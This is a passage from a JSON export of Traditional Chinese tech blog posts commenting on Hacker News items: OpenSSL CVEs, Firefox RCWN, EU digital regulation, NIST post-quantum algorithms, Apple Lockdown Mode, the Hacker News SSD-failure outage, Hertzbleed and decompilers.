年推出的 <a href=\"https://en.wikipedia.org/wiki/Cannon_Lake_(microprocessor)\">Cannon Lake</a>，這個架構只有一顆行動版的 <a href=\"https://ark.intel.com/content/www/us/en/ark/products/136863/intel-core-i38121u-processor-4m-cache-up-to-3-20-ghz.html\">Intel® Core™ i3-8121U Processor</a>。\r\n\r\n真正大量支援 IFMA 的是 2019 後的 Intel CPU 了，但到了去年推出的 <a href=\"https://en.wikipedia.org/wiki/Alder_Lake\">Alder Lake</a> 因為 E-core 不支援 AVX-512 的關係 (但 P-core 支援)，預設又關掉了。\r\n\r\n所以如果問這個 bug 嚴不嚴重，當然是很嚴重，但影響範圍就有點微妙了。\r\n\r\n接下來講第二個 CVE，是 AES <a href=\"https://en.wikipedia.org/wiki/OCB_mode\">OCB</a> 的實做問題，比較有趣的地方是 Hacker News 上的討論引出了 <a href=\"https://mosh.org/\">Mosh</a> 的作者跳出來說明，他居然提到他們在二月的時候試著換到 OpenSSL 的 AES OCB 時有測出這個 bug，被 test case 擋下來了：\r\n\r\n<blockquote>Mosh uses AES-OCB (and has since 2011), and we found this bug when we tried to switch over to the OpenSSL implementation (away from our own ocb.cc taken from the original authors) and Launchpad ran it through our CI testsuite as part of the Mosh dev PPA build for i686 Ubuntu. (It wasn't caught by GitHub Actions because it only happens on 32-bit x86.) https://github.com/mobile-shell/mosh/issues/1174 for more.\r\n\r\nSo I would say (a) OCB is widely used, at least by the ~million Mosh users on various platforms, and (b) this episode somewhat reinforces my (perhaps overweight already) paranoia about depending on other people's code or the blast radius of even well-meaning pull requests. (We really wanted to switch over to the OpenSSL implementation rather than shipping our own, in part because ours was depending on some OpenSSL AES primitives that OpenSSL recently deprecated for external users.)\r\n\r\nMaybe one lesson here is that many people believe in the benefits of unit tests for their own code, but we're not as thorough or experienced in writing acceptance tests for our dependencies.\r\n\r\nMosh got lucky this time that we had pretty good tests that exercised the library enough to find this bug, and we run them as part of the package build, but it's not that farfetched to imagine that we might have users on a platform that we don't build a package for (and therefore don't run our testsuite on).</blockquote>\r\n\r\n這有點有趣 XDDD",
    "title": "這次 OpenSSL 的兩個 CVE"
  },
  {
    "id": "10782",
    "body": "前幾天 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=31922762\">When network is faster than browser cache (2020) (simonhearne.com)</a>」這則 2020 的文章，原文在「<a href=\"https://simonhearne.com/2020/network-faster-than-cache/\">When Network is Faster than Cache</a>」這邊，講 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 在 2017 年導入了一個特別的設計，除了會在 cache 裡面抓資料以外，也會到網路上拉看看，有機會從網路上抓到的資料會比 cache 先得到，這個功能叫做 RCWN (Race Cache With Network)：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1392841\">Enable RCWN</a>」。\r\n\r\n開頭就先提到了有人回報 Firefox 上的 RCWN 似乎沒有明顯效果：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1425268\">Tune RCWN racing parameters (and make them pref-able)</a>」。\r\n\r\n<blockquote>On my OSX box I'm seeing us race more than we probably need to:\r\n\r\nTotal network request count: 5574\r\nCache won count 938\r\nNet won count 13\r\n\r\nThat's racing almost 16% of the time, but only winning 1.3% of the time.  We should probably back off on racing a bit in this case, at least.</blockquote>\r\n\r\n16% 的 request 決定 RCWN 兩邊打，但裡面只有 1.3% 是 network 比 cache 快。\r\n\r\n不過作者決定試著再多找看看有沒有什麼方向可以確認，但測了很多項目都找不到哪個因素跟 cache retrieval time 有直接相關，反而在看看 <a href=\"https://www.chromium.org/\">Chromium</a> 時發現 Chromium 是透過限制連線數量，降低 I/O 造成的問題：\r\n\r\n<blockquote>It turns out that Chrome actively throttles requests, including those to cached resources, to reduce I/O contention. This generally improves performance, but will mean that pages with a large number of cached resources will see a slower retrieval time for each resource.</blockquote>\r\n\r\n看起來就是個簡單粗暴的 workaround...",
    "title": "Firefox 的 RCWN (Race Cache With Network)"
  },
  {
    "id": "10783",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上翻的時候看到的大消息，歐盟通過了 <a href=\"https://en.wikipedia.org/wiki/Digital_Markets_Act\">Digital Markets Act</a> (DMA) 與 <a href=\"https://en.wikipedia.org/wiki/Digital_Services_Act\">Digital Services Act</a> (DSA)：「<a href=\"https://www.macrumors.com/2022/07/05/eu-approves-landmark-legislation-to-regulate-apple/\">EU Approves Landmark Legislation to Regulate Apple and Other Big Tech Firms</a>」，這兩個法案會直接衝擊大企業壟斷的情況。\r\n\r\n找了一下中文的資料，<a href=\"https://www.ithome.com.tw/\">iThome</a> 有報導：「<a href=\"https://www.ithome.com.tw/news/151788\">歐洲議會通過《數位服務法》與《數位市場法》！傳訊服務必須互通，不得禁止使用者採用第三方App Store</a>」。\r\n\r\n其中 <a href=\"https://www.macrumors.com/\">MacRumors</a> 上的文章整理的蠻清楚的，DMA 包括了：\r\n\r\n<ul>\r\n\t<li>Allow users to install apps from third-party app stores and sideload directly from the internet.</li>\r\n\t<li>Allow developers to offer third-party payment systems in apps and promote offers outside the gatekeeper's platforms.</li>\r\n\t<li>Allow developers to integrate their apps and digital services directly with those belonging to a gatekeeper. This includes making messaging, voice-calling, and video-calling services interoperable with third-party services upon request.</li>\r\n\t<li>Give developers access to any hardware feature, such as \"near-field communication technology, secure elements and processors, authentication mechanisms, and the software used to control those technologies.\"</li>\r\n\t<li>Ensure that all apps are uninstallable and give users the ability to unsubscribe from core platform services under similar conditions to subscription.</li>\r\n\t<li>Give users the option to change the default voice assistant to a third-party option.</li>\r\n\t<li>Share data and metrics with developers and competitors, including marketing and advertising performance data.</li>\r\n\t<li>Set up an independent \"compliance function\" group to monitor its compliance with EU legislation with an independent senior manager and sufficient authority, resources, and access to management.</li>\r\n\t<li>Inform the European Commission of their mergers and acquisitions.</li></ul>\r\n\r\n可以看出來除了最後兩項是針對 EU 的監管機制外，其他的包括了安裝來自第三方的軟體、可以使用第三方的付款系統、可以整合系統服務、可以整合硬體功能、可以使用第三方的語音工具、可以反安裝所有的 app 以及提供平台蒐集到的資料給開發者，都是針對現在 <a href=\"https://www.apple.com/\">Apple</a> 的 <a href=\"https://en.wikipedia.org/wiki/App_Store_(iOS/iPadOS)\">App Store</a> 與 <a href=\"https://play.google.com/store/games\">Google Play</a> 所限制的條件。\r\n\r\n另外 DMA 也禁止了這些行為：\r\n\r\n<ul>\r\n\t<li>Pre-install certain software applications and require users to use any important default software services such as web browsers.</li>\r\n\t<li>Require app developers to use certain services or frameworks, including browser engines, payment systems, and identity providers, to be listed in app stores.</li>\r\n\t<li>Give their own products, apps, or services preferential treatment or rank them higher than those of others.</li>\r\n\t<li>Reuse private data collected during a service for the purposes of another service.</li>\r\n\t<li>Establish unfair conditions for business users.</li>\r\n</ul>\r\n\r\n而 DSA 的部份則是針對網路上的非法內容處理：\r\n\r\n<blockquote>The Digital Services Act (DSA), which requires platforms to do more to police the internet for illegal content, has also been approved by the European Parliament.</blockquote>\r\n\r\n其中 DMA 的生效日看起來會在 2023 年年中生效？應該是 六個月加上六個月...\r\n\r\n<blockquote>Once formally adopted, the Act, which takes the legal form of a Regulation, will enter into force 20 days after publication in the EU Official Journal and will apply six months later. The designated gatekeepers will have a maximum of six months after the designation decision by the Commission to ensure compliance with the obligations laid down in the Digital Markets Act.</blockquote>\r\n\r\n而 DSA 至少要到 2024 年才有機會會實施：\r\n\r\n<blockquote>Once adopted, the DSA will be directly applicable across the EU and will apply fifteen months or from 1 January 2024, whichever later, after entry into force.</blockquote>\r\n\r\n歐盟的市場夠大，這個應該會帶來足夠大的衝擊...",
    "title": "歐盟通過 Digital Markets Act 與 Digital Services Act"
  },
  {
    "id": "10784",
    "body": "<a href=\"https://www.nist.gov/\">NIST</a> (<a href=\"https://www.nsa.gov/\">NSA</a>) 選出了四個 <a href=\"https://en.wikipedia.org/wiki/Post-quantum_cryptography\">Post-quantum cryptography</a> 演算法 (可以抵抗量子電腦的演算法)：「<a href=\"https://www.nist.gov/news-events/news/2022/07/nist-announces-first-four-quantum-resistant-cryptographic-algorithms\">NIST Announces First Four Quantum-Resistant Cryptographic Algorithms</a>」。\r\n\r\n四個演算法分別是：\r\n\r\n<ul>\r\n\t<li>CRYSTALS-Kyber：非對稱加密。</li>\r\n\t<li>CRYSTALS-Dilithium：數位簽名。</li>\r\n\t<li>FALCON：數位簽名。</li>\r\n\t<li>SPHINCS+：數位簽名。</li>\r\n</ul>\r\n\r\n這次沒看到非對稱加解密的演算法...\r\n\r\n然後翻了 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論，果然一堆人在討論 NIST 能不能信任的問題：「<a href=\"https://news.ycombinator.com/item?id=31990696\">NIST Announces First Four Quantum-Resistant Cryptographic Algorithms (nist.gov)</a>」。\r\n\r\n然後據說 Kyber 這個名字出自 <a href=\"https://en.wikipedia.org/wiki/Star_Wars\">Star Wars</a>，Dilithium 這個名字則是出自 <a href=\"https://en.wikipedia.org/wiki/Star_Trek\">Star Trek</a>，這還真公平 XDDD",
    "title": "NIST 選出了四個 Post-Quantum Cryptography 演算法"
  },
  {
    "id": "10785",
    "body": "<a href=\"https://www.apple.com/\">Apple</a> 在 <a href=\"https://www.apple.com/ios/\">iOS</a> 16、<a href=\"https://www.apple.com/ipados/\">iPadOS</a> 16 與 <a href=\"https://www.apple.com/macos/\">macOS</a> Ventura 上推出了 Lockdown Mode：「<a href=\"https://www.apple.com/newsroom/2022/07/apple-expands-commitment-to-protect-users-from-mercenary-spyware/\">Apple expands industry-leading commitment to protect users from highly targeted mercenary spyware</a>」。\r\n\r\nLockdown Mode 主要是透過降低被攻擊的面積以提昇安全性，依照 Apple 的預想，主要是針對被政府單位盯上的族群：\r\n\r\n<blockquote>Apple is previewing a groundbreaking security capability that offers specialized additional protection to users who may be at risk of highly targeted cyberattacks from private companies developing state-sponsored mercenary spyware.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/slqgPPC.webp\" /><img src=\"https://i.gslin.com/imgur/slqgPPC.jpg\" alt=\"\" /></picture>\r\n\r\n在 Lockdown Mode 下目前列出來的限制：\r\n\r\n<ul>\r\n\t<li>Messages: Most message attachment types other than images are blocked. Some features, like link previews, are disabled.</li>\r\n\t<li>Web browsing: Certain complex web technologies, like just-in-time (JIT) JavaScript compilation, are disabled unless the user excludes a trusted site from Lockdown Mode.</li>\r\n\t<li>Apple services: Incoming invitations and service requests, including FaceTime calls, are blocked if the user has not previously sent the initiator a call or request.</li>\r\n\t<li>Wired connections with a computer or accessory are blocked when iPhone is locked.</li>\r\n\t<li>Configuration profiles cannot be installed, and the device cannot enroll into mobile device management (MDM), while Lockdown Mode is turned on.</li>\r\n</ul>\r\n\r\n列出來的這些的確都是之前 <a href=\"https://en.wikipedia.org/wiki/Zero-day_(computing)\">0-day</a> 常被拿來打的東西，把攻擊面積縮小的確會有不少幫助。\r\n\r\n這應該是業界第一個大咖跳進來做這個 (也就兩個大咖？)，第一次搞未必會完美，但算是個開始，後面應該會有更多的面積被考慮進去...",
    "title": "Apple 在 iOS 16、iPadOS 16 與 macOS Ventura 上推出 Lockdown Mode"
  },
  {
    "id": "10788",
    "body": "2020 年年底的時候 <a href=\"https://aws.amazon.com/\">AWS</a> 推出用 <a href=\"https://www.apple.com/mac-mini/\">Mac mini</a> 配合搭建出 Mac (<a href=\"https://www.intel.com/\">Intel</a>) 機種：「<a href=\"https://blog.gslin.org/archives/2020/12/01/9843/amazon-ec2-%E6%8E%A8%E5%87%BA-mac-instance/\">Amazon EC2 推出 Mac Instance</a>」，當初有計畫在 2021 年推出 <a href=\"https://en.wikipedia.org/wiki/Apple_M1\">M1</a> 的版本：\r\n\r\n<blockquote>Apple M1 Chip – EC2 Mac instances with the Apple M1 chip are already in the works, and planned for 2021.</blockquote>\r\n\r\n不過就沒什麼意外的 delay 了，這次則是推出了 M1 的版本：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-m1-mac-instances/\">New – Amazon EC2 M1 Mac Instances</a>」。\r\n\r\n依照說明看起來還是 Mac mini，掛上 <a href=\"https://aws.amazon.com/ec2/nitro/\">AWS Nitro System</a>：\r\n\r\n<blockquote>EC2 Mac instances are dedicated Mac mini computers attached through Thunderbolt to the AWS Nitro System, which lets the Mac mini appear and behave like another EC2 instance.</blockquote>\r\n\r\n然後跟 Intel 版本一樣，因為是掛進 Dedicated Hosts 的計價方式，雖然是以秒計費，但還是設定最低 24 小時的租用時間限制：\r\n\r\n<blockquote>Amazon EC2 Mac instances are available as Dedicated Hosts through both On Demand and Savings Plans pricing models. The Dedicated Host is the unit of billing for EC2 Mac instances. Billing is per second, with a 24-hour minimum allocation period for the Dedicated Host to comply with the Apple macOS Software License Agreement. At the end of the 24-hour minimum allocation period, the host can be released at any time with no further commitment.</blockquote>\r\n\r\nIntel 版本代號是 <code>mac1</code>，只有一種機種 <code>mac1.metal</code>，M1 版本代號是 <code>mac2</code>，也只有一種機種 <code>mac2.metal</code>。\r\n\r\n以最經典的美東一區 <code>us-east-1</code> 來看，<code>mac1.metal</code> 的 on-demand 價錢是 US$1.083/hour，<code>mac2.metal</code> 則是 US$0.65/hour，差不多是 60% 的價錢，便宜不少，大概是反應在硬體攤提與電費成本上了。\r\n\r\n另外目前大家用 M1 的經驗來看，<a href=\"https://en.wikipedia.org/wiki/Rosetta_2\">Rostta 2</a> 未必會比原生的機器慢多少，雖然 <code>mac1.metal</code> 是 12 cores，<code>mac2.metal</code> 是 8 core，但以雲上面一定要用 Mac 跑的應用來說，馬上想的到的還是綁在 Apple 環境裡 CI 類的應用？\r\n\r\n目前看起來主要的問題還是 24 小時的最小計費單位讓彈性低不少...",
    "title": "Amazon EC2 有 Mac (M1) 機種可以租用了"
  },
  {
    "id": "10789",
    "body": "前幾天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://ux.stackexchange.com/questions/120541/why-do-people-not-notice-our-enormous-prominent-clear-and-contrasting-purple-b\">Why do people not notice our enormous, prominent, clear and contrasting purple banner?</a>」這篇 2018 年的討論，裡面在講為什麼使用者會常態性忽略 banner 的內容。\r\n\r\n在答覆區裡面有人提到了維基百科上面的 <a href=\"https://en.wikipedia.org/wiki/Banner_blindness\">Banner blindness</a> 這個條目，題到了網站的使用者會刻意或是非刻意的忽略掉像 banner 的資訊：\r\n\r\n<blockquote>Banner blindness is a phenomenon in web usability where visitors to a website consciously or unconsciously ignore banner-like information. A broader term covering all forms of advertising is ad blindness, and the mass of banners that people ignore is called banner noise.</blockquote>\r\n\r\n開頭也提到了 banner 廣告 <a href=\"https://en.wikipedia.org/wiki/Click-through_rate\">CTR</a> 的變化：\r\n\r\n<blockquote>The first banner ad appeared in 1994. The average click-through rate (CTR) dropped from 2% in 1995 to 0.5% in 1998. After a relatively stable period with a 0.6% click-through rate in 2003, CTR rebounded to 1% by 2013.</blockquote>\r\n\r\n所以這個現象有個專有名詞來形容...",
    "title": "Banner blindness"
  },
  {
    "id": "10790",
    "body": "先前是 <a href=\"https://www.starlink.com/\">Starlink</a> 推出了 RV 版本 (參考「<a href=\"https://blog.gslin.org/archives/2022/05/24/10713/starlink-%E6%8E%A8%E5%87%BA-rv-%E7%89%88%E6%9C%AC/\">Starlink 推出 RV 版本</a>」) ，雖然是車輛，但基本上跟先前 Starlink 一般開放的區域相同，也很好理解...\r\n\r\n但這次 Starlink 推出了 <a href=\"https://www.starlink.com/maritime\">Starlink Maritime</a>，是給船隻用的，這個需要的服務範圍就大超多，從 <a href=\"https://api.starlink.com/public-files/maritime-coverage-map.pdf\">maritime-coverage-map.pdf</a> 這份資料可以看到對應的計畫：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/B4qFAx4.webp\" /><img src=\"https://i.gslin.com/imgur/B4qFAx4.png\" alt=\"\" /></picture>\r\n\r\n目前第一波覆蓋的地區應該是可以直接打回地面 ISP 的，後續的大面積覆蓋 (2022Q4 以及之後) 應該是得在衛星間 relay 的技術上線使用後才有辦法提供...\r\n\r\n看了一下台灣週邊的海上其實在 2022Q4 會上，所以有機會 (如果電信法規搞定的話) 應該可以同步上？",
    "title": "Starlink 推出 Starlink Maritime"
  },
  {
    "id": "10791",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上討論得很熱烈的 <a href=\"https://bun.sh/\">Bun</a>：「<a href=\"https://news.ycombinator.com/item?id=31993429\">Bun: Fast JavaScript runtime, transpiler, and NPM client written in Zig (bun.sh)</a>」。\r\n\r\n從 Hacker News 上的標題上就可以看到 Bun 做了不少事情，看起來想要打造一個 all-in-one 環境，把所有開發與 server 端 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> 所需要的東西就一次包進來，不需要在自己東挑西挑...\r\n\r\n比較特別的是 Bun 在選 JavaScript Engine 的時候是選擇 <a href=\"https://www.apple.com/\">Apple</a> 家推出的 JSC (或者稱 JSCore，正式名稱是 <a href=\"https://trac.webkit.org/wiki/JavaScriptCore\">JavaScriptCore</a>)，而不是現在主流的 <a href=\"https://v8.dev/\">V8</a> (<a href=\"https://www.google.com/\">Google</a> 家)，據說這樣比較省記憶體，但 server 端應用應該是不缺這個記憶體才對？\r\n\r\n<blockquote>JavaScript runtime with Web APIs like fetch, WebSocket, and several more built-in. bun embeds JavaScriptCore, which tends to be faster and more memory efficient than more popular engines like V8 (though harder to embed)</blockquote>\r\n\r\n另外一個是強調啟動速度，這對開發應該有幫助，但對 server 應用來說好像還好：\r\n\r\n<blockquote>Bun.js uses the JavaScriptCore engine, which tends to start and perform a little faster than more traditional choices like V8.</blockquote>\r\n\r\n在官方宣稱的效能測試上可以看到很多改善，感覺是個還蠻「有趣」的方案，可以繼續觀察看看，畢竟現在是 beta 版，另外也讓子彈飛一下，是不是只有列出來的那些會比較快...",
    "title": "用 JavaScriptCore 實做的一站式方案 Bun"
  },
  {
    "id": "10792",
    "body": "前幾天 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 炸了很久，如果是從 <a href=\"https://twitter.com/\">Twitter</a> 上的資料來看，是從 2022/07/08 14:08 UTC 這篇：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">HN is down again with what appears to be a second disk failure. This is on the fallback server, which we switched to last night when the primary server failed. Will update when we know more. Sorry all!</p>&mdash; Hacker News Status (@HNStatus) <a href=\"https://twitter.com/HNStatus/status/1545409429113229312?ref_src=twsrc%5Etfw\">July 8, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n中間還原失敗 (2022/07/08 17:35 UTC)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Working on restoring from backups the slow way, since failover server also failed. No ETA yet, but we&#39;re getting there.</p>&mdash; Hacker News Status (@HNStatus) <a href=\"https://twitter.com/HNStatus/status/1545461511870566400?ref_src=twsrc%5Etfw\">July 8, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n到最後恢復 (2022/07/08 20:48 UTC)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">HN is running again, on a new server created from backups. Will be monitoring closely. Sorry everyone for the inconvenience!</p>&mdash; Hacker News Status (@HNStatus) <a href=\"https://twitter.com/HNStatus/status/1545510110180519938?ref_src=twsrc%5Etfw\">July 8, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\nTwitter 這邊的資料看起來差不多是六個小時多，以一個應該是只有 database 需要還原的站台來說的確是蠻久的，所以後續在「<a href=\"https://news.ycombinator.com/item?id=32026571\">HN is up again</a>」這邊就有在討論原因，裡面 HN 的老大 <a href=\"https://news.ycombinator.com/user?id=dang\">dang</a> 也有提到 downtime 是七個小時多：\r\n\r\n<blockquote>8 hours of downtime, but not data loss, since there was no data to lose during the downtime.\r\n\r\nLast post before we went down (2022-07-08 12:46:04 UTC): https://news.ycombinator.com/item?id=32026565\r\n\r\nFirst post once we were back up (2022-07-08 20:30:55 UTC): https://news.ycombinator.com/item?id=32026571 (hey, that's this thread! how'd you do that, tpmx?)\r\n\r\nSo, 7h 45m of downtime. What we don't know is how many posts (or votes, etc.) happened after our last backup, and were therefore lost. The latest vote we have was at 2022-07-08 12:46:05 UTC, which is about the same as the last post.\r\n\r\nThere can't be many lost posts or votes, though, because I checked HN Search (https://hn.algolia.com/) just before we brought HN back up, and their most recent comment and story were behind ours. That means our last backup on the ill-fated server was taken after the last API update (HN Search relies on our API), and the API gets updated every 30 seconds.\r\n\r\nI'm not saying that's a rock-solid argument, but it suggests that 30 seconds is an upper bound on how much data we lost.</blockquote>\r\n\r\n另外大家就在找 dang 的回應是什麼 (畢竟是第一手資料)，用 Ctrl-F 找一下就看到有趣的猜測，從 <a href=\"https://news.ycombinator.com/item?id=32028511\">32028511</a> 這個節點可以看到這串有趣的討論，首先是 <a href=\"https://news.ycombinator.com/user?id=mikiem\">mikeiem</a>：\r\n\r\n<blockquote>You are never going to guess how long the HN SSDs were in the servers... never ever... OK... I'll tell you: 4.5years. I am not even kidding.</blockquote>\r\n\r\n然後是 <a href=\"https://news.ycombinator.com/user?id=kabdib\">kabdib</a> 的回應：\r\n\r\n<blockquote>Let me narrow my guess: They hit 4 years, 206 days and 16 hours . . . or 40,000 hours.\r\n\r\nAnd that they were sold by HP or Dell, and manufactured by SanDisk.\r\n\r\nDo I win a prize?\r\n\r\n(None of us win prizes on this one).</blockquote>\r\n\r\n接著就是 dang 說他覺得這個猜測很有可能：\r\n\r\n<blockquote>Wow. It's possible that you have nailed this.\r\n\r\nEdit: here's why I like this theory. I don't believe that the two disks had similar levels of wear, because the primary server would get more writes than the standby, and we switched between the two so rarely. The idea that they would have failed within hours of each other because of wear doesn't seem plausible.\r\n\r\nBut the two servers were set up at the same time, and it's possible that the two SSDs had been manufactured around the same time (same make and model). The idea that they hit the 40,000 hour mark within a few hours of each other seems entirely plausible.\r\n\r\nMike of M5 (mikiem in this thread) told us today that it \"smelled like a timing issue\" to him, and that is squarely in this territory.</blockquote>\r\n\r\n後續他也從自家的 <a href=\"https://news.ycombinator.com/newest\">/newest</a> 裡面撈了相關的資料出來，依照他撈出來的關鍵字，看起來是用 <a href=\"https://www.hpe.com/\">HPE</a> 出的 SSD：\r\n\r\n<blockquote>It's also an example of the dharma of /newest – the rising and falling away of stories that get no attention:\r\n\r\nHPE releases urgent fix to stop enterprise SSDs conking out at 40K hours - https://news.ycombinator.com/item?id=22706968 - March 2020 (0 comments)\r\n\r\nHPE SSD flaw will brick hardware after 40k hours - https://news.ycombinator.com/item?id=22697758 - March 2020 (0 comments)\r\n\r\nSome HP Enterprise SSD will brick after 40000 hours without update - https://news.ycombinator.com/item?id=22697001 - March 2020 (1 comment)\r\n\r\nHPE Warns of New Firmware Flaw That Bricks SSDs After 40k Hours of Use - https://news.ycombinator.com/item?id=22692611 - March 2020 (0 comments)\r\n\r\nHPE Warns of New Bug That Kills SSD Drives After 40k Hours - https://news.ycombinator.com/item?id=22680420 - March 2020 (0 comments)\r\n\r\n(there's also https://news.ycombinator.com/item?id=32035934, but that was submitted today)</blockquote>\r\n\r\n這次 downtime 看起來很像是中了 SSD firmware bug，目前看起來先搬到 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上面了：\r\n\r\n<pre>$ host news.ycombinator.com\r\nnews.ycombinator.com has address 50.112.136.166\r\n$ host 50.112.136.166      \r\n166.136.112.50.in-addr.arpa domain name pointer ec2-50-112-136-166.us-west-2.compute.amazonaws.com.</pre>\r\n\r\n看討論串應該是暫時性的？",
    "title": "Hacker News 前幾天炸很久的 root cause"
  },
  {
    "id": "10795",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的方法，<a href=\"https://simonwillison.net/\">Simon Willison</a> 試著把程式碼餵進 <a href=\"https://en.wikipedia.org/wiki/GPT-3\">GPT-3</a>，然後問 GPT-3 程式碼的意思，看起來答的還不錯：「<a href=\"https://simonwillison.net/2022/Jul/9/gpt-3-explain-code/\">Using GPT-3 to explain how code works</a>」，對應的討論 (包括 Simon Willison 的回應) 則可以在「<a href=\"https://news.ycombinator.com/item?id=32036224\">Using GPT-3 to explain how code works (simonwillison.net)</a>」這邊看到。\r\n\r\n第一個範例裡面可以解讀 <a href=\"https://en.wikipedia.org/wiki/Regular_expression\">regular expression</a>，雖然裡面對 <code>(?xm)</code> 的解讀是錯的，但我會說已經很強了...\r\n\r\n第二個範例在解釋 <a href=\"https://en.wikipedia.org/wiki/Shadow_DOM\">Shadow DOM</a>，看起來也解釋的很不錯...\r\n\r\n第三個範例回來原來產生程式碼的例子，拿來生 <a href=\"https://en.wikipedia.org/wiki/SQL\">SQL</a> 指令。\r\n\r\n後面的 bonus 題目居然是拿來解釋數學公式，他直接丟 <a href=\"https://en.wikipedia.org/wiki/TeX\">TeX</a> 文字進去要 GPT-3 解釋柯西不等式 (<a href=\"https://en.wikipedia.org/wiki/Cauchy%E2%80%93Schwarz_inequality\">Cauchy–Schwarz inequality</a>)。這樣我想到以前高微作業常常會有一堆證明題，好像可以丟進去要 GPT-3 給證明耶...",
    "title": "用 GPT-3 解讀程式碼"
  },
  {
    "id": "10796",
    "body": "除了 <a href=\"https://www.hertzbleed.com/\">Hertzbleed</a> 當初公佈時的論文與網頁外，<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 上也有一篇 <a href=\"https://en.wikipedia.org/wiki/Hertzbleed\">Hertzbleed</a> 的解釋：「<a href=\"https://blog.cloudflare.com/hertzbleed-explained/\">Hertzbleed explained</a>」。\r\n\r\n會特別拿出來提是因為這篇是 <a href=\"https://www.cs.utexas.edu/~yingchen/\">Yingchen Wang</a> 寫的，也就是 Hertzbleed 論文裡兩位第一作者之一 (另外一位是 <a href=\"https://rp8.web.engr.illinois.edu/\">Riccardo Paccagnella</a>)，而從她的網站上也可以看到 Cloudflare intern 的資訊：\r\n\r\n<blockquote>Graduate Research Intern at Cloudflare, 2022 Summer</blockquote>\r\n\r\nHertzbleed 也是一種 <a href=\"https://en.wikipedia.org/wiki/Side-channel_attack\">side-channel attack</a>，利用 CPU 會依照電量與溫度，而動態調整頻率的特性來達到遠端攻擊，而不需要在機器旁邊有功率錶之類儀器。\r\n\r\n傳統上針對這類執行時間的程式會用 constant-time programming 來保護，但 Hertzbleed 則是利用了 CPU 會動態調整頻率的特性鑽出一個洞。現在學界對這個攻擊方式還不熟悉，等熟悉了以後應該是會把洞鑽大...\r\n\r\n依照原理來說，定頻應該會是一個解法... 像是大家現在都很喜歡搞「降壓超頻」，算是某種定頻的方式，而一般大家會設定在全速跑也不會過熱降頻的情況。\r\n\r\n目前 <a href=\"https://www.intel.com/\">Intel</a> 跟 <a href=\"https://www.amd.com/\">AMD</a> 都決定不 patch，依照洞一向都是愈挖愈大，來期待洞大到 <a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\">ECC</a> 被打的那天...",
    "title": "Cloudflare 上的 Hertzbleed 解釋"
  },
  {
    "id": "10798",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的新功能，<a href=\"https://docs.aws.amazon.com/autoscaling/ec2/userguide/what-is-amazon-ec2-auto-scaling.html\">Auto Scaling</a> 可以透過歷史資料分析預開機器了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/07/amazon-ec2-predictive-scaling-forecast-cloudwatch-metrics/\">Amazon EC2 Auto Scaling customers can now monitor their predictive scaling policy using Amazon CloudWatch</a>」。\r\n\r\n這是吃 <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 的資料做的，在「<a href=\"https://docs.aws.amazon.com/autoscaling/ec2/userguide/ec2-auto-scaling-predictive-scaling.html\">Predictive scaling for Amazon EC2 Auto Scaling</a>」這份文件裡面有提到：\r\n\r\n<blockquote>Predictive scaling uses machine learning to predict capacity requirements based on historical data from CloudWatch. </blockquote>\r\n\r\n還是希望把 Auto Scaling 整合 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 啦，這樣就是 turing machine 了...",
    "title": "EC2 Auto Scaling 可以透過機械學習來預開機器了"
  },
  {
    "id": "10799",
    "body": "昨天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=32079227\">Decompiler Explorer (dogbolt.org)</a>」這篇，裡面列出了很多 Decompile to C 的工具 (就不用直接硬看 assembly)，包括了 open source 與商用軟體：\r\n\r\n<ul>\r\n\t<li><a href=\"https://angr.io/\">angr</a> (<a href=\"https://opensource.org/licenses/BSD-2-Clause\">BSD-2-Clause</a>)。</li>\r\n\t<li><a href=\"https://binary.ninja/\">Binary Ninja</a> (商業軟體)</li>\r\n\t<li><a href=\"https://github.com/BoomerangDecompiler/boomerang\">Boomerang</a> (<a href=\"https://opensource.org/licenses/BSD-3-Clause\">BSD-3-Clause</a>)</li>\r\n\t<li><a href=\"https://ghidra-sre.org/\">Ghidra</a> (<a href=\"https://www.nsa.gov/\">NSA</a>，<a href=\"https://opensource.org/licenses/Apache-2.0\">Apache-2.0</a>)</li>\r\n\t<li><a href=\"https://hex-rays.com/\">Hex-Rays</a> (商業軟體)</li>\r\n\t<li><a href=\"http://www.backerstreet.com/rec/recdload.htm\">Rec Studio</a> (商業軟體)</li>\r\n\t<li><a href=\"https://github.com/uxmal/reko\">Reko</a> (<a 